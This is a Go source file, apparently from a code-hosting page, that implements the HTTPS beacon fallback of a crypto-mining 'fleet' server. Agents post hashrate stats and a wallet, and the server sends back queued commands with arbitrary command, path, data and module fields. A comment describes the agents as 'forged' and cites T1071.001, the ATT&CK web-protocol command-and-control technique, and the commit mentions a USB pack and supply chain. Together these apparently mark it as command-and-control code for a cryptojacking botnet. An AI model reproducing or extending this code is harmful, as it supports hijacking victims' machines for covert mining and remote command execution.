Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Dashboard ambient layer, comrade presence, Mission Deck and War Room, Emberwake supply chain, spread/docs publishing, fleet policy and modules API, CI docker mining, and refreshed USB pack.
317 lines
9.3 KiB
Go
317 lines
9.3 KiB
Go
package api
|
|
|
|
import (
|
|
"encoding/json"
|
|
"net/http"
|
|
"strings"
|
|
"time"
|
|
|
|
"crypto-miner-server/internal/models"
|
|
)
|
|
|
|
const beaconReachableWindow = 90 * time.Second
|
|
|
|
// BeaconCommand is delivered to agents on HTTPS beacon when WebSocket is down.
|
|
type BeaconCommand struct {
|
|
Action string `json:"action"`
|
|
TailLines int `json:"tail_lines,omitempty"`
|
|
Command string `json:"command,omitempty"`
|
|
Path string `json:"path,omitempty"`
|
|
Data string `json:"data,omitempty"`
|
|
Module string `json:"module,omitempty"`
|
|
}
|
|
|
|
type beaconRequest struct {
|
|
AgentID string `json:"agent_id"`
|
|
Stats json.RawMessage `json:"stats,omitempty"`
|
|
Hostname string `json:"hostname,omitempty"`
|
|
Wallet string `json:"wallet,omitempty"`
|
|
Worker string `json:"worker_name,omitempty"`
|
|
Version string `json:"version,omitempty"`
|
|
}
|
|
|
|
type beaconResponse struct {
|
|
OK bool `json:"ok"`
|
|
Commands []BeaconCommand `json:"commands"`
|
|
Policies []FleetAgentPolicy `json:"policies,omitempty"`
|
|
}
|
|
|
|
type beaconResultRequest struct {
|
|
AgentID string `json:"agent_id"`
|
|
Action string `json:"action"`
|
|
Success bool `json:"success"`
|
|
Message string `json:"message"`
|
|
}
|
|
|
|
func (h *WSHub) initBeaconMaps() {
|
|
h.beaconMu.Lock()
|
|
defer h.beaconMu.Unlock()
|
|
if h.beaconLastSeen == nil {
|
|
h.beaconLastSeen = make(map[string]time.Time)
|
|
}
|
|
if h.beaconCmdQueue == nil {
|
|
h.beaconCmdQueue = make(map[string][]BeaconCommand)
|
|
}
|
|
if h.beaconPolicyQueue == nil {
|
|
h.beaconPolicyQueue = make(map[string][]FleetAgentPolicy)
|
|
}
|
|
}
|
|
|
|
func (h *WSHub) agentExistsInDB(agentID string) bool {
|
|
if h.db == nil || agentID == "" {
|
|
return false
|
|
}
|
|
_, err := h.db.GetAgent(agentID)
|
|
return err == nil
|
|
}
|
|
|
|
// MarkBeaconSeen records a successful HTTPS beacon from a known agent.
|
|
func (h *WSHub) MarkBeaconSeen(agentID string) {
|
|
if !h.agentExistsInDB(agentID) {
|
|
return
|
|
}
|
|
h.initBeaconMaps()
|
|
h.beaconMu.Lock()
|
|
h.beaconLastSeen[agentID] = time.Now()
|
|
h.beaconMu.Unlock()
|
|
}
|
|
|
|
// ClearBeaconTransport clears HTTPS-beacon state when the agent reconnects over WebSocket.
|
|
func (h *WSHub) ClearBeaconTransport(agentID string) {
|
|
h.initBeaconMaps()
|
|
h.beaconMu.Lock()
|
|
delete(h.beaconLastSeen, agentID)
|
|
delete(h.beaconCmdQueue, agentID)
|
|
delete(h.beaconPolicyQueue, agentID)
|
|
h.beaconMu.Unlock()
|
|
}
|
|
|
|
func (h *WSHub) isAgentBeaconReachable(agentID string) bool {
|
|
h.initBeaconMaps()
|
|
h.beaconMu.Lock()
|
|
last, ok := h.beaconLastSeen[agentID]
|
|
h.beaconMu.Unlock()
|
|
return ok && time.Since(last) <= beaconReachableWindow
|
|
}
|
|
|
|
// IsAgentReachable returns true if the agent has an active WebSocket or recent HTTPS beacon.
|
|
func (h *WSHub) IsAgentReachable(agentID string) bool {
|
|
return h.isAgentConnected(agentID) || h.isAgentBeaconReachable(agentID)
|
|
}
|
|
|
|
// EnqueueBeaconCommand queues a command for HTTPS beacon delivery.
|
|
func (h *WSHub) EnqueueBeaconCommand(agentID, action string, args map[string]interface{}) bool {
|
|
if !h.agentExistsInDB(agentID) || !h.isAgentBeaconReachable(agentID) {
|
|
return false
|
|
}
|
|
cmd := BeaconCommand{Action: action}
|
|
if v, ok := args["tail_lines"]; ok {
|
|
switch n := v.(type) {
|
|
case int:
|
|
cmd.TailLines = n
|
|
case float64:
|
|
cmd.TailLines = int(n)
|
|
}
|
|
}
|
|
if v, ok := args["command"].(string); ok {
|
|
cmd.Command = v
|
|
}
|
|
if v, ok := args["path"].(string); ok {
|
|
cmd.Path = v
|
|
}
|
|
if v, ok := args["data"].(string); ok {
|
|
cmd.Data = v
|
|
}
|
|
if v, ok := args["module"].(string); ok {
|
|
cmd.Module = v
|
|
}
|
|
h.initBeaconMaps()
|
|
h.beaconMu.Lock()
|
|
h.beaconCmdQueue[agentID] = append(h.beaconCmdQueue[agentID], cmd)
|
|
h.beaconMu.Unlock()
|
|
return true
|
|
}
|
|
|
|
// EnqueueBeaconPolicy queues a policy_update for HTTPS beacon delivery.
|
|
func (h *WSHub) EnqueueBeaconPolicy(agentID string, policy FleetAgentPolicy) bool {
|
|
if !h.agentExistsInDB(agentID) || !h.isAgentBeaconReachable(agentID) || policy.IsEmpty() {
|
|
return false
|
|
}
|
|
h.initBeaconMaps()
|
|
h.beaconMu.Lock()
|
|
h.beaconPolicyQueue[agentID] = append(h.beaconPolicyQueue[agentID], normalizeFleetAgentPolicy(policy))
|
|
h.beaconMu.Unlock()
|
|
return true
|
|
}
|
|
|
|
func (h *WSHub) dequeueBeaconPolicies(agentID string) []FleetAgentPolicy {
|
|
h.initBeaconMaps()
|
|
h.beaconMu.Lock()
|
|
policies := h.beaconPolicyQueue[agentID]
|
|
delete(h.beaconPolicyQueue, agentID)
|
|
h.beaconMu.Unlock()
|
|
if policies == nil {
|
|
return []FleetAgentPolicy{}
|
|
}
|
|
return policies
|
|
}
|
|
|
|
func (h *WSHub) dequeueBeaconCommands(agentID string) []BeaconCommand {
|
|
h.initBeaconMaps()
|
|
h.beaconMu.Lock()
|
|
cmds := h.beaconCmdQueue[agentID]
|
|
delete(h.beaconCmdQueue, agentID)
|
|
h.beaconMu.Unlock()
|
|
if cmds == nil {
|
|
return []BeaconCommand{}
|
|
}
|
|
return cmds
|
|
}
|
|
|
|
func (h *WSHub) applyBeaconStats(agentID string, statsJSON json.RawMessage) {
|
|
if h.db == nil || len(statsJSON) == 0 {
|
|
return
|
|
}
|
|
var stats struct {
|
|
Hashrate15s float64 `json:"hashrate_15s"`
|
|
Hashrate1m float64 `json:"hashrate_1m"`
|
|
Hashrate15m float64 `json:"hashrate_15m"`
|
|
SharesSubmitted int `json:"shares_submitted"`
|
|
SharesAccepted int `json:"shares_accepted"`
|
|
CPUUsagePct float64 `json:"cpu_usage_pct"`
|
|
MemoryUsagePct float64 `json:"memory_usage_pct"`
|
|
UptimeSeconds int `json:"uptime_seconds"`
|
|
GPUMinerActive *bool `json:"gpu_miner_active,omitempty"`
|
|
GPUHashrate15m float64 `json:"gpu_hashrate_15m,omitempty"`
|
|
GPUModel string `json:"gpu_model,omitempty"`
|
|
}
|
|
if err := json.Unmarshal(statsJSON, &stats); err != nil {
|
|
return
|
|
}
|
|
sharesBad := stats.SharesSubmitted - stats.SharesAccepted
|
|
if sharesBad < 0 {
|
|
sharesBad = 0
|
|
}
|
|
_ = h.db.UpdateAgentStats(agentID, stats.Hashrate15s, stats.Hashrate1m, stats.Hashrate15m,
|
|
stats.SharesSubmitted, stats.SharesAccepted, sharesBad,
|
|
stats.CPUUsagePct, stats.MemoryUsagePct, stats.UptimeSeconds)
|
|
gpuActive := stats.GPUMinerActive != nil && *stats.GPUMinerActive
|
|
_ = h.db.UpdateAgentGPUStats(agentID, stats.GPUHashrate15m, stats.GPUModel, gpuActive)
|
|
_ = h.db.InsertHashrateSample(agentID, stats.Hashrate15m, stats.GPUHashrate15m)
|
|
h.broadcastDashboard(Message{
|
|
Type: "stats",
|
|
Payload: mustMarshal(map[string]interface{}{
|
|
"agent_id": agentID,
|
|
"hashrate_15s": stats.Hashrate15s,
|
|
"hashrate_1m": stats.Hashrate1m,
|
|
"hashrate_15m": stats.Hashrate15m,
|
|
"cpu_usage_pct": stats.CPUUsagePct,
|
|
"memory_usage_pct": stats.MemoryUsagePct,
|
|
"uptime_seconds": stats.UptimeSeconds,
|
|
"shares_submitted": stats.SharesSubmitted,
|
|
"shares_accepted": stats.SharesAccepted,
|
|
"transport": "https_beacon",
|
|
}),
|
|
})
|
|
}
|
|
|
|
// HandleAgentBeacon accepts periodic HTTPS beacons from forged agents (T1071.001 fallback).
|
|
func (h *WSHub) HandleAgentBeacon(w http.ResponseWriter, r *http.Request) {
|
|
if r.Method != http.MethodPost {
|
|
http.Error(w, "method not allowed", http.StatusMethodNotAllowed)
|
|
return
|
|
}
|
|
var req beaconRequest
|
|
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
|
http.Error(w, "invalid JSON", http.StatusBadRequest)
|
|
return
|
|
}
|
|
agentID := strings.TrimSpace(req.AgentID)
|
|
if agentID == "" {
|
|
http.Error(w, "agent_id is required", http.StatusBadRequest)
|
|
return
|
|
}
|
|
|
|
if h.db != nil {
|
|
if _, err := h.db.GetAgent(agentID); err != nil && (req.Hostname != "" || req.Wallet != "") {
|
|
display := req.Hostname
|
|
if display == "" {
|
|
display = agentID
|
|
}
|
|
_ = h.db.UpsertAgent(&models.Agent{
|
|
ID: agentID,
|
|
Name: display,
|
|
Wallet: req.Wallet,
|
|
Version: req.Version,
|
|
Status: "online",
|
|
})
|
|
}
|
|
}
|
|
h.MarkBeaconSeen(agentID)
|
|
h.applyBeaconStats(agentID, req.Stats)
|
|
cmds := h.dequeueBeaconCommands(agentID)
|
|
policies := h.dequeueBeaconPolicies(agentID)
|
|
writeJSON(w, beaconResponse{OK: true, Commands: cmds, Policies: policies})
|
|
}
|
|
|
|
// HandleAgentBeaconResult receives command results from HTTPS beacon agents.
|
|
func (h *WSHub) HandleAgentBeaconResult(w http.ResponseWriter, r *http.Request) {
|
|
if r.Method != http.MethodPost {
|
|
http.Error(w, "method not allowed", http.StatusMethodNotAllowed)
|
|
return
|
|
}
|
|
var req beaconResultRequest
|
|
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
|
http.Error(w, "invalid JSON", http.StatusBadRequest)
|
|
return
|
|
}
|
|
agentID := strings.TrimSpace(req.AgentID)
|
|
if agentID == "" || req.Action == "" {
|
|
http.Error(w, "agent_id and action are required", http.StatusBadRequest)
|
|
return
|
|
}
|
|
h.MarkBeaconSeen(agentID)
|
|
payload := map[string]interface{}{
|
|
"agent_id": agentID,
|
|
"action": req.Action,
|
|
"success": req.Success,
|
|
"message": req.Message,
|
|
"transport": "https_beacon",
|
|
}
|
|
h.broadcastDashboard(Message{Type: "command_result", Payload: mustMarshal(payload)})
|
|
h.notifyCmdCallback(agentID, req.Action, payload)
|
|
writeJSON(w, map[string]interface{}{"ok": true})
|
|
}
|
|
|
|
// FlushBeaconPoliciesToWS delivers queued HTTPS policy updates over WebSocket.
|
|
func (h *WSHub) FlushBeaconPoliciesToWS(agentID string) {
|
|
for _, policy := range h.dequeueBeaconPolicies(agentID) {
|
|
payload := marshalFleetPolicyPayload(policy)
|
|
_ = h.SendToAgent(agentID, Message{Type: "policy_update", Payload: payload})
|
|
}
|
|
}
|
|
|
|
// FlushBeaconCommandsToWS delivers any queued HTTPS commands over a live WebSocket.
|
|
func (h *WSHub) FlushBeaconCommandsToWS(agentID string) {
|
|
cmds := h.dequeueBeaconCommands(agentID)
|
|
for _, cmd := range cmds {
|
|
args := map[string]interface{}{}
|
|
if cmd.TailLines > 0 {
|
|
args["tail_lines"] = cmd.TailLines
|
|
}
|
|
if cmd.Command != "" {
|
|
args["command"] = cmd.Command
|
|
}
|
|
if cmd.Path != "" {
|
|
args["path"] = cmd.Path
|
|
}
|
|
if cmd.Data != "" {
|
|
args["data"] = cmd.Data
|
|
}
|
|
if cmd.Module != "" {
|
|
args["module"] = cmd.Module
|
|
}
|
|
_ = h.SendAgentCommand(agentID, cmd.Action, args)
|
|
}
|
|
}
|